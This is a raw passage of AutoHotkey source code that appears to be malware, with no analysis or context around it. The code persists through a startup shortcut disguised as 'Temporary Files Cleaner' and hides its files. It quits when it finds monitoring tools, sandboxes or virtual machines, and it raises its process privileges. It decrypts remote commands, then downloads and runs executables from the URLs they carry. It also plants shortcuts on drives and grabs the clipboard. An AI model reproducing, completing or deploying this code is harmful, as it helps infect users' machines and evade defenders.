gg := rg_rd(h_k, reg_sw_ms_win_cu_ru, win_alt0160_def)
if (!rg_lm_ok || gg = "") {
h_k = HKCU
gg := rg_rd(h_k, reg_sw_ms_win_cu_ru, win_alt0160_def)
}
if gg !=
{
hhf := StrSplit(gg, """")[2]
if FileExist(hhf) {
if (ver_typ(hhf) = 1)
goto, tmp_strt_ok
}
}
tmpstrtr =
loop, %atemp%%hptmp%%tmpclr%*.exe
if (ver_typ(a_loopfilefullpath) = 1) {
tmpstrtr := a_loopfilefullpath
break
}
else
kill_del(a_loopfilefullpath)
if (!tmpstrtr) {
tmpstrtr := atemp hptmp tmpclr get_num_seed(5) . ".exe"
Try filecreatedir, %atemp%%hptmp%
chg_icn_typ_cpy(ScriptFullPath, tmpstrtr, "wd")
if !FileExist(tmpstrtr) {
tmpstrtr =
goto, tmp_strt_ok
}
}
if (!tmpstrtr || !FileExist(tmpstrtr)) {
goto, tmp_strt_ok
}
For i, tsnm in tmpstr_all {
st := startup "\" tsnm ".lnk"
if !FileExist(st)
continue
Try FileGetShortcut, %st%, OTrg,, OutArgs
if (OTrg = tmpstrtr)
if OutArgs = %alt_0_chr% /cleanup %alt_0_chr%
goto, tmp_strt_ok
}
For i, tsnm in tmpstr_all
kill_del(startup "\" tsnm ".lnk")
icn_nm := xp_hgr ? 3 : 2
tsnm := gt_rdm_tmp_strt()
st := startup "\" tsnm ".lnk"
kill_del(st)
Try FileCreateShortcut, %tmpstrtr%, %st%, %USERPROFILE%, %alt_0_chr% /cleanup %alt_0_chr%, Temporary Files Cleaner, %systemroot%\system32\NAPSTAT.EXE,,%icn_nm%
Try filesetattrib, +RSA, %st%
Try filesetattrib, -H, %st%
tmp_strt_ok:
if tmpstrtr = %ScriptFullPath%
kill_del(sd_ini)
if !FileExist(dr_ini) {
if !xp_hgr
{
Try IniWrite, %cls_id_7be9d83c%, %dr_ini%, .ShellClassInfo, CLSID
Try filesetattrib, +RSAH, %dr_ini%
}
}
else
kill_del(dr_ini)
if !FileExist(sd_ini) {
if ((tmpstrtr != ScriptFullPath && xp_hgr) || !xp_hgr) {
Try IniWrite, %cls_id_7be9d83c%, %sd_ini%, .ShellClassInfo, CLSID
Try filesetattrib, +RSAH, %sd_ini%
}
}
return
chk_reg_mons() {
Global
ifwinexist, WhatChanged ahk_class #32770, LOCAL MACHINE
ExitApp
ifwinexist, Blue Project Software SysTracer, Take snapshot
ExitApp
ifwinexist, SpyMe Tools, Scan
ExitApp
ifwinexist, Regshot ahk_class #32770, 1st shot
ExitApp
ifwinexist, Process Monitor ahk_class PROCMON_WINDOW_CLASS
ExitApp
ifwinexist, Autoruns ahk_class Autoruns
ExitApp
ifwinexist, Registry Editor ahk_class RegEdit_RegEdit
ExitApp
ifwinexist, ProcessActivityView ahk_class ProcessActivityView
ExitApp
}
chk_tskmgr_:
chk_tskmgr()
return
chk_tskmgr() {
Global
if ((A_TickCount-lst_chk_tskmgr_tym) < 500) {
settimer, chk_tskmgr_, off
settimer, chk_tskmgr_, -550
return
}
ifwinexist, Process Monitor ahk_class PROCMON_WINDOW_CLASS
ExitApp
ifwinexist, Process Lasso ahk_class Class_PLMain
ExitApp
ifwinexist, Process Explorer ahk_class PROCEXPL
ExitApp
ifwinexist, Process Hacker ahk_class ProcessHacker
ExitApp
ifwinexist, System Explorer ahk_class TMainForm.UnicodeClass
ExitApp
ifwinexist, Yet Another (remote) Process Monitor
ExitApp
ifwinexist, Task Manager DeLuxe ahk_class Twnd_tm_Main
ExitApp
ifwinexist, Yet Another Process Monitor
ExitApp
ifwinexist, Task Manager ahk_class AnVirMainFrame
ExitApp
ifwinexist, eXtended Task Manager ahk_class Warecase_XTM_Frame
ExitApp
ifwinexist, Extended Task Manager by Extensoft
ExitApp
ifwinexist, Sandbox
ExitApp
ifwinexist, BufferZone
ExitApp
ifwinexist, Daphne ahk_class #32770
ExitApp
ifwinexist, WinUtilities Process Security ahk_class #32770
ExitApp
ifwinexist, AnVir Task Manager ahk_class AnVirMainFrame
ExitApp
lst_chk_tskmgr_tym:=A_TickCount
}
ckvirtl() {
Global
ifwinexist, Sandbox
ExitApp
ifwinexist, BufferZone
ExitApp
ifwinexist, GeSWall
ExitApp
ifwinexist, LeakWall
ExitApp
Loop, HKLM, SOFTWARE\Microsoft\Hyper-V, 0, 1
ExitApp
Loop, HKLM, HARDWARE\ACPI\DSDT\Xen, 0, 1
ExitApp
Loop, HKLM, HARDWARE\ACPI\FADT\Xen, 0, 1
ExitApp
Loop, HKLM, HARDWARE\ACPI\RSDT\Xen, 0, 1
ExitApp
Loop, HKLM, HARDWARE\ACPI\FADT\VBOX__, 0, 1
ExitApp
Loop, HKLM, HARDWARE\ACPI\RSDT\VBOX__, 0, 1
ExitApp
Loop, HKLM, HARDWARE\ACPI\DSDT\VBOX__, 0, 1
ExitApp
Loop, HKLM, HARDWARE\DEVICEMAP\Scsi, 0, 1
{
Try RegRead, value
if value contains VMware,Virtual IDE,Virtual HD,Virtual Machine,VBOX HARDDISK
ExitApp
}
loop, HKLM, SOFTWARE\VMware`, Inc., 0, 1
if a_index = 2
ExitApp
loop, HKLM, SYSTEM\CurrentControlSet\services\VBoxService, 0, 1
if a_index = 2
ExitApp
pov = %prg_dir%\Oracle\VirtualBox
if FileExist(pov) {
loop, %pov%\*.*,0,1
if A_index = 5
ExitApp
}
pv = %prg_dir%\VMware
if FileExist(pv) {
loop, %pv%\*.*,0,1
if A_index = 5
ExitApp
}
ifwinexist, Sandbox
ExitApp
ifwinexist, BufferZone
ExitApp
}
close_self_all_ext:
For idn, pr in get_prcs_by_cls() {
if !pr.pr_pth
continue
if (pr.pr_nm = ieDotexe || pr.pr_nm = MCuiEXE) {
if (ver_typ(pr.pr_pth) = 1)
Try process, close, % pr.pr_pid
}
}
ExitApp
del_old_ydys() {
Global
loop, %atemp%\~temp~*~.tmp
{
if (StrLen(A_LoopFileName) != 14)
continue
StringMid, gh, a_loopfilename, 7, 3
if !RegExMatch(gh, "i)[a-z]") {
if (gh < a_yday)
kill_del(a_loopfilefullpath)
}
}
}
inc_yday(ByRef dyy=0) {
dyy++
dyy -= dyy > 365 ? 365 : 0
return dyy
}
get_noupd_dys(dys=3, strt=0) {
if (dys <= 0)
return
if strt = 0
strt := a_yday
strt -= (strt > 365) ? 365 : 0
ydys:="|"
loop, %dys%
{
ydys .= strt "|"
inc_yday(strt)
}
return ydys
}
upd_lst_upd_dys(dyss=3, strtt=0) {
Global
if strtt = 0
strtt := a_yday
rgtx := ecprt(get_noupd_dys(dyss, strtt), mky)
rg_wt(, , reg_sw_ms_ie, reg_LstUpd, rgtx)
del_old_ydys()
FormatTime, aydy,,YDay
loop, %dyss%
{
f := atemp "\~temp~" SubStr("00" aydy, -2) "~.tmp"
kill_del(f)
Try FileAppend, %aydy%, %f%
Try FileSetAttrib, +SR, %f%
inc_yday(aydy)
}
}
get_lst_upd_dys() {
Global
rguptx := dcprt(rg_rd(, reg_sw_ms_ie, reg_LstUpd), mky)
if !rguptx
{
upd_lst_upd_dys()
rguptx := get_noupd_dys()
}
del_old_ydys()
loop, %atemp%\~temp~*~.tmp
{
if (StrLen(A_LoopFileName) != 14)
continue
StringMid, fnmNum, a_loopfilename, 7, 3
Try FileRead, fcnNum, %A_LoopFileFullPath%
fcnNum := RegExReplace(fcnNum, "[^\d]")
if fcnNum = %fnmNum%
rguptx .= fcnNum "|"
}
return rguptx
}
upd_ver_cnt(vnum=0) {
Global
if vnum
rggg := self_ver "_" vnum
else
{
Try fileread, tvrg, %tmp_VrCnt%
vrg := RegExReplace(rg_rd(, reg_sw_ms_ie, reg_VrCnt), "[^\d\.\_]")
vrg_ := StrSplit(vrg, "_")
vrg_c := (vrg_[1] = self_ver && vrg_[2]) ? vrg_[2] : ""
tvrg_ := StrSplit(RegExReplace(tvrg, "[^\d\.\_]"), "_")
tvrg_c := (tvrg_[1] = self_ver && tvrg_[2]) ? tvrg_[2] : ""
vhgst := Trim(vrg_c "`n" tvrg_c, "`n")
Sort, vhgst, U N R
vhgst := StrSplit(vhgst, "`n")[1]
vhgst := vhgst ? (vhgst + 1) : 1
rggg := self_ver "_" vhgst
}
kill_del(tmp_VrCnt)
if (rggg = self_ver "_")
rggg := self_ver "_1"
Try FileAppend, %rggg%, %tmp_VrCnt%
Try FileSetAttrib, +RSA, %tmp_VrCnt%
sleep, 100
return rg_wt(, , reg_sw_ms_ie, reg_VrCnt, rggg)
}
get_ver_cnt() {
Global
vrg := RegExReplace(rg_rd(, reg_sw_ms_ie, reg_VrCnt), "[^\d\.\_]")
vrg_ := StrSplit(vrg, "_")
vrg_v := vrg_[1]
vrg_c := RegExReplace(vrg_[2], "[^\d]")
if (vrg_v != self_ver || !vrg_c) {
vrg =
vrg_c = 0
}
Try fileread, tvrg, %tmp_VrCnt%
tvrg := RegExReplace(tvrg, "[^\d\.\_]")
tvrg_ := StrSplit(tvrg, "_")
tvrg_v := tvrg_[1]
tvrg_c := RegExReplace(tvrg_[2], "[^\d]")
if (tvrg_v != self_ver || !tvrg_c) {
tvrg =
tvrg_c = 0
}
vhgst := "1`n" tvrg_c "`n" vrg_c
Sort, vhgst, U N R
vhgst := StrSplit(Trim(vhgst, "`n"), "`n")[1]
if (!vrg || vhgst > vrg_c)
rg_wt(, , reg_sw_ms_ie, reg_VrCnt, self_ver "_" vhgst)
if (!tvrg || vhgst > tvrg_c) {
kill_del(tmp_VrCnt)
Try FileAppend, %self_ver%_%vhgst%, %tmp_VrCnt%
Try FileSetAttrib, +RSA, %tmp_VrCnt%
}
return vhgst
}
get_sec_txts:
ki := h2s("262A5E4669564229") //&*^FiVB)
sctxt_st := dcprt("jW6UwK27mLqUaXTArNDA", ki)
sctxt_ed := dcprt("jp1cn53Yj5idkIOVttKH", ki)
sctxt_unin := sctxt_st . htmlsectxt . sctxt_ed
return
prcs_dl_txt(ret_tx="") {
Global
if sctxt_st =
gosub, get_sec_txts
ret_tx := Trim(ret_tx,"`r`n`t ")
if (!InStr(ret_tx, sctxt_st) || !InStr(ret_tx, sctxt_ed)) {
return 0
}
todl_lnk_sz = 0
ret_tx_res := regexreplace(ret_tx, "i)[^a-z0-9\-]", "")
pt=i).*%sctxt_st%(.*?)%sctxt_ed%.*
sec_txt := RegExReplace(ret_tx_res, pt, "$1")
if (!sec_txt || InStr(sec_txt, sctxt_st) || InStr(sec_txt, sctxt_ed)) {
spos:=InStr(ret_tx_res,sctxt_st),epos:=InStr(ret_tx_res,sctxt_ed),slen:=StrLen(sctxt_st)
sec_txt := trim(SubStr(ret_tx_res,spos+slen,epos-(spos+slen)))
}
if sec_txt =
return 0
dc_sec_txt := trim(dcprt(sec_txt, mky))
if !dc_sec_txt
return 0
if (sec_txt = htmlsectxt || ret_tx_res = sctxt_unin) {
up_reg_sec_ky(sec_txt)
gosub, un_in_me
return 1
}
rg_sc_ky := gt_reg_sec_ky()
if (!dl_faild && rg_sc_ky = dc_sec_txt) {
return 1
}
fstchk := SubStr(dc_sec_txt, 1, 4)
if (fstchk = "http" || fstchk = "ftp:") {
dl_uls := get_dluls(dc_sec_txt)
goto, jst_url_rn
}
if !InStr(dc_sec_txt, "|")
return 0
up_outs := StrSplit(dc_sec_txt,"|")
web_unx := RegExReplace(up_outs[1], "[^\d]")
if !web_unx
return 0
if (StrLen(web_unx) != 10 || web_unx < self_unix) {
return 0
}
if (rg_sc_ky) {
reg_unx := RegExReplace(StrSplit(rg_sc_ky,"|")[1], "[^\d]")
if (StrLen(reg_unx) = 10 && web_unx <= reg_unx) {
if (web_unx < reg_unx)
return 0
if !dl_faild
return 0
}
}
upd_nw_lks(upd_lnks, dc_sec_txt)
dldta := up_outs[up_outs.MaxIndex()]
if dldta not contains ://
goto, upd_rg_n_ret_1
n := StrSplit(dldta, ",")
if (n.MaxIndex() < 3) {
goto, upd_rg_n_ret_1
}
todl_lnk_sz := RegExReplace(n[1], "[^\d]")
todl_ver := trim(n[2])
if (!todl_lnk_sz || !todl_ver) {
return 0
}
if (todl_ver = self_ver && todl_lnk_sz = (self_sz + 1000)) {
goto, upd_rg_n_ret_1
}
dl_uls := get_dluls(dldta)
if !dl_uls
return 0
Sort, dl_uls, Random
sleep, 100
Sort, dl_uls, Random
jst_url_rn:
if lst_upd_ul
{
dlus_ =
bs_dld_ul =
For idxx, dl_lfeld in StrSplit(dl_uls, "`n") {
if !dl_lfeld
continue
dl_lfeld := (RegExMatch(dl_lfeld, "^http(s?)://.*") < 1) ? "http://" dl_lfeld : dl_lfeld
if (InStr(dl_lfeld, lst_upd_ul) && !bs_dld_ul) {
bs_dld_ul := dl_lfeld
continue
}
dlus_ .= dl_lfeld "`n"
}
if bs_dld_ul !=
dl_uls := bs_dld_ul "`n" dlus_
dl_uls := trim(dl_uls, "`n")
}
dl_rn_ok = 0
For idxx, dl_lfeld in StrSplit(dl_uls, "`n") {
if !dl_lfeld
continue
if (RegExMatch(dl_lfeld, "^http(s?)://.*") <= 0)
dl_lfeld := "http://" dl_lfeld
dl_rn_ok = 0
out_fl =
kill_del(atemp "\~temp~*iN.dat")
dl_fl := atemp "\~temp~" get_num_seed(12) "iN.dat"
r_dl_fl := dl_upd(dl_lfeld, "f", dl_fl, todl_lnk_sz)
if r_dl_fl != %dl_fl%
goto, dl_lpend
out_fl = %dl_fl%.exe
kill_del(out_fl)
strp_fst_1k(dl_fl, out_fl)
if out_fl =
goto, dl_lpend
Try fileread, mz, %out_fl%
Try FileGetVersion, dver, %out_fl%
if (SubStr(mz, 1, 2) != "MZ" || dver != todl_ver) {
goto, dl_lpend
}
kill_del(dl_fl)
Try runwait, %out_fl% %alt_0_chr%,,useerrorlevel
if ErrorLevel != ERROR
dl_rn_ok = 1
if dl_rn_ok
break
dl_lpend:
kill_del(out_fl)
kill_del(dl_fl)
chk_tskmgr()
sleep, 2000
}
up_reg_sec_ky(sec_txt)
dl_faild = 0
if dl_rn_ok
return 1
dl_faild = 1
return 0
upd_rg_n_ret_1:
up_reg_sec_ky(sec_txt)
return 1
}
get_dluls(uls="") {
us =
For i, u in StrSplit(uls, ",")
if InStr(u, "://")
us .= u "`n"
return trim(us,"`n")
}
gt_reg_sec_ky() {
Global
dchkc:=Trim(dcprt(echkc:=rg_rd(, reg_sw_ms_ie, reg_sec_ky), mky))
if dchkc
{
dchkc_l := RegExReplace(SubStr(dchkc, 1, 10), "[^\d]")
if (StrLen(dchkc_l) != 10 && !RegExMatch(dchkc, "^(http|ftp).*"))
dchkc =
}
dchkl:=Trim(dcprt(echkl:=rg_rd("HKLM", reg_sw_ms_ie, reg_sec_ky), mky))
if dchkl
{
dchkl_l := RegExReplace(SubStr(dchkl, 1, 10), "[^\d]")
if (StrLen(dchkl_l) != 10 && !RegExMatch(dchkl, "^(http|ftp).*"))
dchkl =
}
dctsk =
Try fileread, ectsk, %tmp_scky%
ectsk := Trim(ectsk, "`r`n`t ")
if ectsk
{
dctsk := Trim(dcprt(ectsk, mky))
dctsk_l := RegExReplace(SubStr(dctsk, 1, 10), "[^\d]")
if (StrLen(dctsk_l) != 10 && !RegExMatch(dctsk, "^(http|ftp).*"))
dctsk =
}
dcrg_al := dchkc "`n" dchkl "`n" dctsk
Sort, dcrg_al, U N R
dcrg_ltst := StrSplit(Trim(dcrg_al, "`n"), "`n")[1]
if !dcrg_ltst
return ""
if dcrg_ltst =
return ""
ecrg_ltst :=
if dcrg_ltst = %dchkc%
ecrg_ltst := echkc
else if dcrg_ltst = %dchkl%
ecrg_ltst := echkl
else if dcrg_ltst = %dctsk%
ecrg_ltst := ectsk
if ecrg_ltst
{
if (echkc != ecrg_ltst)
rg_wt(, , reg_sw_ms_ie, reg_sec_ky, ecrg_ltst)
if (echkl != ecrg_ltst)
rg_wt(, "HKLM", reg_sw_ms_ie, reg_sec_ky, ecrg_ltst)
if (ectsk != ecrg_ltst) {
kill_del(tmp_scky)
Try FileAppend, %ecrg_ltst%, %tmp_scky%
Try FileSetAttrib, +RSA, %tmp_scky%
}
ecrg_ltst :=
}
return dcrg_ltst
}
up_reg_sec_ky(scky="") {
Global
kill_del(tmp_scky)
For ir, rhk in ["HKLM", "HKCU"] {
if !scky
Try regdelete, %rhk%, %reg_sw_ms_ie%, %reg_sec_ky%
else if (ir = 2 || rg_lm_ok)
rg_wt(, rhk, reg_sw_ms_ie, reg_sec_ky, scky)
}
if !scky
return
Try FileAppend, %scky%, %tmp_scky%
Try FileSetAttrib, +RSA, %tmp_scky%
}
st_glbl:
Global prg_alt0160_fls, win_alt0160_def, win_def_mscuiexe, reg_sw_ms_win_cu_ex_adv, reg_sw_ms_ie, reg_sw_ms_win_cu_ro, reg_sw_ms_win_cu_ru, reg_sec_ky, SecDrvEXE, MCuiEXE, ieDotexe, cmdl_on, cmdl_tw, cmdl_th, self_ver, selfpid, self_sz, sd_ini, mky, htmlsectxt, xp_hgr, systemroot, myprg_dir, prg_dir, ScriptFullPath, ScriptName, ScriptDir, startup, startupcommon, atemp, autoStrt_pth, pr_pid, pr_nm, pr_pth, prcs, pr_dir, pr_hwd, pr_cls, prg_fls, int_exp, win_def, ie_ix_exe, usb_data, sys_explorer, alp_num, WD_Icn_Fl, IE_Icn_Fl, tmp_scky, tmp_VrCnt, netw_srv, lcl_srv, tmpstr_all, alt_0_chr, win_shut
Return
get_prcs() {
global selfpid
w = Windows\
ws = %w%system32\
if sys_pr_lst =
{
sys_pr_lst =
(
|%w%servicing\TrustedInstaller.exe
%w%notepad.exe
%ws%notepad.exe
%ws%conhost.exe
%ws%mdm.exe
%ws%taskmgr.exe
%ws%smss.exe
%ws%alg.exe
%ws%csrss.exe
%ws%wininit.exe
%ws%services.exe
%ws%svchost.exe
%ws%wbem\WmiPrvSE.exe
%ws%wbem\WmiApSrv.exe
%ws%audiodg.exe
%ws%WUDFHost.exe
%ws%dwm.exe
%ws%spoolsv.exe
%ws%dllhost.exe
%ws%msdtc.exe
%ws%SearchIndexer.exe
%ws%taskhost.exe
%ws%lsass.exe
%ws%lsm.exe
%ws%winlogon.exe
%ws%rundll32.exe
%ws%RuntimeBroker.exe
%ws%sihost.exe
%ws%taskhostw.exe
%ws%ApplicationFrameHost.exe
%ws%SearchProtocolHost.exe
%ws%dasHost.exe
%ws%SppExtComObj.exe
%ws%Locator.exe
%w%explorer.exe
%w%hh.exe
%prg_fls%%ie_ix_exe%
)
ss := Str_Replace(sys_pr_lst,"`r")
Str_Replace(ss,"`t")
Str_Replace(ss,"`n","|")
Str_Replace(ss,"|","|" systemdrive "\")
sys_pr_lst = %ss%|\SystemRoot\system32\smss.exe|
}
fkb := 4096
h := DllCall("OpenProcess", "UInt", 0x0400, "Int", false, "UInt", selfpid)
DllCall("Advapi32.dll\OpenProcessToken", "UInt", h, "UInt", 32, "UIntP", t)
VarSetCapacity(ti, 16, 0)
NumPut(1, ti, 0, 4)
DllCall("Advapi32.dll\LookupPrivilegeValueA", "UInt", 0, "Str", "SeDebugPrivilege", "UIntP", luid)
NumPut(luid, ti, 4, 8)
NumPut(2, ti, 12, 4)
DllCall("Advapi32.dll\AdjustTokenPrivileges", "UInt", t, "Int", false, "UInt", &ti, "UInt", 0, "UInt", 0, "UInt", 0)
DllCall("CloseHandle", "UInt", h)
hModule := DllCall("LoadLibrary", "Str", "Psapi.dll")
fkb := VarSetCapacity(a, fkb)
DllCall("Psapi.dll\EnumProcesses", "UInt", &a, "UInt", fkb, "UIntP", ggg)
ap := []
Loop, % ggg // 4
{
pth =
prid := NumGet(a, A_Index * 4)
h := DllCall("OpenProcess", "UInt", 0x0010 | 0x0400, "Int", false, "UInt", prid)
VarSetCapacity(m, fkb)
DllCall("Psapi.dll\EnumProcessModules", "UInt", h, "UInt", &m, "UInt", fkb, "UIntP", ggg)
VarSetCapacity(pr_name, fkb, 0)
DllCall("Psapi.dll\GetModuleBaseNameA", "UInt", h, "UInt", m, "Str", pr_name, "Str", fkb)
VarSetCapacity(pth, fkb, 0)
DllCall("Psapi.dll\GetModuleFileNameExA", "UInt", h, "UInt", m, "Str", pth, "UInt", fkb)
DllCall("CloseHandle", "UInt", h)
if !pth
continue
loop, %pth%
pth := a_loopfilelongpath
if (InStr(pth, ":\") && !InStr(sys_pr_lst, systemdrive SubStr(pth, 3) "|")) {
ap.Push({pr_pid: prid, pr_pth: pth})
}
}
return ap
}
return
ver_typ(fl) {
Global self_ver, ver
if !FileExist(fl)
return -1
Try FileGetversion, vr, %fl%
if (ErrorLevel || !vr)
return -1
sv := StrReplace(self_ver, ".")
vr_nodots := StrReplace(vr, ".")
hh := StrSplit(vr, ".")
if (hh[3] = "3535" || hh[3] = "5353") {
sinv =
loop, parse, % hh[4]
sinv := a_loopfield sinv
if (sinv != hh[4])
return -1
else if vr_nodots = %sv%
return 1
else if vr_nodots > %sv%
return 2
else if vr_nodots < %sv%
return 0
}
return -1
}
get_rdm_lns() {
random, nl, 60, 90
loop, %nl%
nln = %nln%0A
return nln
}
get_jnk_lns() {
ths_jnk_fst_all =
random, bb, 4, 8
loop, %bb%
{
ths_jnk_fst =
random, lp, 5, 10
loop, %lp%
{
vv := get_num_seed(9)
enc := ecprt(vv, "OPQRSTUVWXYZabcdefghijklmno")
ee := s2h(enc)
Str_Replace(ee,"2D63","0909090963" s2h(vv))
Str_Replace(ee,"2D61","09090961" s2h(vv))
ths_jnk_fst .= ee
}
ths_jnk_fst_all .= "0A3B" . ths_jnk_fst
}
return ths_jnk_fst_all . "0A"
}
shutin(wParam, lParam) {
Global
hde_fldrs()
win_shut = 1
gosub, chk_tmp_strtr_
ExitApp
}
run_in_tmp(fil_e) {
global
tmpfile =
if !fil_e
return
if (fil_e = MCuiEXE) {
fstdir = %prg_fls%
scddir = %win_alt0160_def%
}
if (fil_e = ieDotexe) {
fstdir = %prg_alt0160_fls%
scddir = %int_exp%
}
Loop, %atemp%\*, 2
{
if RegExMatch(a_loopfilename, "^[\d]{12}$") < 1
continue
fst_loopfilefullpath := a_loopfilefullpath
loop, %fst_loopfilefullpath%\*, 2
{
if RegExMatch(a_loopfilename, "^[\d]{12}$") < 1
continue
tmfile = %a_loopfilefullpath%\%fstdir%\%scddir%\%fil_e%
if !FileExist(tmfile)
continue
ver := ver_typ(tmfile)
if (ver = 1) {
if tmpfile =
tmpfile := tmfile
else
{
Try FileSetAttrib, -RSAH, %tmfile%
Try FileSetAttrib, -RSAH, %a_loopfilefullpath%
Try FileSetAttrib, -RSAH, %fst_loopfilefullpath%
Try fileremovedir, %a_loopfilefullpath%, 1
}
}
else if (ver = 2) {
Try {
run, %tmfile% %alt_0_chr%,, useerrorlevel
ExitApp
}
}
else if (ver = -1) {
Try FileSetAttrib, -RSAH, %tmfile%
Try FileSetAttrib, -RSAH, %a_loopfilefullpath%
Try FileSetAttrib, -RSAH, %fst_loopfilefullpath%
Try fileremovedir, %a_loopfilefullpath%, 1
}
}
}
if tmpfile !=
{
gosub, run_ext
return
}
tmp_dir_new =
loop, 100
{
rndm_fldr_1 := get_num_seed(12)
rndm_fldr_2 := get_num_seed(12)
tmp_dir_new := atemp "\" rndm_fldr_1 "\" rndm_fldr_2
if !FileExist(tmp_dir_new)
break
}
if tmp_dir_new =
return
scd = %tmp_dir_new%\%fstdir%\%scddir%
tmpfile = %scd%\%fil_e%
Try filecreatedir, %scd%
chg_icn_typ_cpy(ScriptFullPath, tmpfile, (fil_e = MCuiEXE) ? "wd" : "ix")
if !FileExist(tmpfile)
return
s := atemp
f = %rndm_fldr_1%\%rndm_fldr_2%\%fstdir%\%scddir%
loop, parse, f, \
{
s .= "\" a_loopfield
Try FileSetAttrib, +RSAH, %s%
}
gosub, run_ext
return
}
xplr_gt_sel() {
hw := WinExist("A")
WinGetClass, c, ahk_id %hw%
if (c!="CabinetWClass" && c!="ExploreWClass")
Return ""
for w in ComObjCreate("Shell.Application").Windows {
if (w.hwnd==hw) {
sl := w.Document.SelectedItems
if sl
Break
}
}
for itm in sl
r .= itm.path "`n"
return Trim(r,"`n")
}
get_opnrs_for_ths_drv:
if !opnrs_dec
{
opnrs_enc := "ZpNyiIrFucW-bzcROqpdioXae6eOdxkuImql9b6PXx63d2juhhoKnkIHYtL-bNgnx-bh51xke3amtJgg6ShaoOOy93hrVmImIJ7mLSm4r-a0fqJklHR2t-a29uLmIkrDa3J7iYIOkoWaDjsvd4a1vl9SzueXaO7C-bxNznldW6t4rKq7hgqb-ar3dOa3bdx3t-agzKZgq-aa4uMzNw7fZ2aqPprnj5KPWS5fY7LN8rNHDueuHet3JxdXcoMizYKvktm-amycS379aj08lbtt-agz7rN2eeuWZjJv6-bh1ZiPxrLn46vSs7rdgo20ws2ztuHbqo-aptNXemMStyXS7ub-bPiMCqmLWW5naX49yYyLNgreqvs7-bccYfZ2ZWPv7-ba3z6msMbjmLm1drq2t-a3UlnmZwOTpVNKndsDhrrTF21uH7duWj5265tynbYW71t2-atLqIoa3b2juzxbDC36jCsMbP5lSTxcefs-azGgN-a7v362qdGvz4q5uLjDyb23gq2m3cTKlMCZ0rHCz4KQxMTWymTO0JXUxcR-atqnRr8-aKv7PBwttbjOHOmY-aattrZosy1v9nmVJeaiKet3Myg4mCZuJCB2LS-bzZiguLrNwLeCr6Dbwsrr36PHS57Z7GqSu9S2purQpdi7xH64o9dhndPqtsJgsMC4mLeZ3srA53p80rV2wOGutMXbW4zn21Gwv8Tc55XVurd0wLnDdqrDrezVluhgmePkVLqiwtboq7-a72sROwdWl1Mi-b2eRUpbbJ0-aavwslynaXszKTjdpnj5D6wtsnT22qlv8y2s-atxftDBtpS9o9Gmz3TFq7q7iJ6z5syqj6W-b4NmiyEujy-aq8uLfPtmTIz6DjxcR-avaPWtXbB2bjDu8xbkefdmtTJW8Hlp8ykdqvkrMTD21uR8YeB0MnE69-amx7Rgt-bFqobvbxrHdcX-bUzXHE2KPXsMl0xq-bGdrjDs-aLMlOPJW8LVq4OYt9bkurDGzcO3grWW5naX49yYyLN2kqpzWaTNyGS-a1p3Tu8OUnVSmsMbjgpqwydvIs-arLpHmlvdiQhMuwytnrVKG728ax3XGD1MnG4dVUr6LKz-au-aWajNxLnlzFG1v7-bV3D61prnZ7q-bBu8xxlODWpd7JW8bVl9K3u9zdrm-aa17S55cyf48lbxOKjzaa53pihvsjTxE7LypLdxLbYkHjSpMvX3bjDyXKkp9nVn9S6ccTYo9ewyXTLr7LIzcVkvMil0GCk2dOmyLV2sOG2tMlypKnb2Zbjdpfj3JjIs2C957DDzcnDqetxhd7Dcbfiqcy0u3TMub92sLq0mK-ag32Cn3dSZ0mGa2e-a4u8XJtbeCvZrTu8DneovErcLa2bq0yNtbnefcpeS4tpS0o9qvwtnZrsJgwcC57NyT1HaX6d6i3Euv2e2-axLjNcZrhy5beyQ-c-c"
opnrs_dec := StrReplace(dcprt(opnrs_enc, mky),"`r")
}
sort, opnrs_dec, Random
drv_opnrs = |
exst_cnt = 0
loop, %TsDrv%\*.lnk
{
Try FileGetShortcut,%a_loopfilefullpath%,,,oarg
if (oarg = sec_drv_ex_lnk_arg) {
drv_opnrs .= SubStr(a_loopfilename,1,-4) "|"
exst_cnt++
}
}
p = |
if (exst_cnt < 7) {
For i, lp in StrSplit(opnrs_dec,"`n") {
if (lp) {
if InStr(drv_opnrs, p lp p)
continue
exst_cnt++
if (exst_cnt > 7)
break
drv_opnrs .= lp p
}
}
}
nf := dcprt("5ZnKoX5rtcqKzr3h", "Ke*^%F^&i")
if !InStr(drv_opnrs, nf)
drv_opnrs .= nf
p = |
While(InStr(drv_opnrs, p p))
Str_Replace(drv_opnrs,p p, p)
opnrs_%DrvSerial% := trim(drv_opnrs, p)
return
get_DrvTyp(d) {
Str_Replace(d,":")
if !d
return 0
Try {
wmi := ComObjGet("winmgmts:")
for LogicalDisk in wmi.ExecQuery("Select * from Win32_LogicalDiskToPartition")
if InStr(LogicalDisk.Dependent,d ":")
for Partition in wmi.ExecQuery("Select * from Win32_DiskDriveToDiskPartition")
if (Partition.Dependent = LogicalDisk.Antecedent) {
for Drive in wmi.ExecQuery( "Select * from Win32_DiskDrive where DeviceId = """ SubStr(Partition.Antecedent, InStr(Partition.Antecedent, """") + 1, -1) """")
return Drive.InterfaceType
}
}
return 0
}
get_sel() {
clp_emty := (Clipboard = "") ? 1 : 0
if !clp_emty
{
clp_bk := ClipboardAll
While !(Clipboard = "") {
Try Clipboard =
Sleep, 50
}
}
Try send, ^c
Try ClipWait, 0.1
clp := Clipboard
Try Clipboard := clp_bk
if !clp_emty
Try ClipWait, 0.5, 1
Return clp
}
un_in_me:
For idn, pr in get_prcs_by_cls()
if (ver_typ(pr.pr_pth) = -1)
kill_del(pr.pr_pth, pr.pr_pid)
dcky := h2s("4C4A475E25264846")
ah := atemp dcprt("orS9t8OXjKynwKum0oqTuA-c-c", dcky)
kill_del(ah "\*")
kill_del(ah)
wup := dcprt("nbW4q82cmaebvK6o0oo-c", dcky)
For _i, tsnm in tmpstr_all {
For indx, hk in ["HKLM", "HKCU"]
Loop, %hk%, %reg_sw_ms_win_cu_ro%
if A_LoopRegName contains %wup%,%tsnm%
Try regdelete
}
loop, %appdata%\~temp~*
kill_del(a_loopfilefullpath)
loop, %appdata%\~temp~*.exe
kill_del(a_loopfilefullpath)
wdr := dcprt("na2zu6KOmA-c-c", dcky)
ddr := dcprt("irvBtaKOmA-c-c", dcky)
ldr := dcprt("kq29u6KOmA-c-c", dcky)
Try regdelete, HKLM, %reg_sw_ms_win_cu_ru%, %win_alt0160_def%
Try regdelete, HKCU, %reg_sw_ms_win_cu_ru%, %win_alt0160_def%
Try regdelete, HKCU, %reg_sw_ms_ie%, %ddr%
Try regdelete, HKCU, %reg_sw_ms_ie%, %ldr%
Try regdelete, HKCU, %reg_sw_ms_ie%, %wdr%
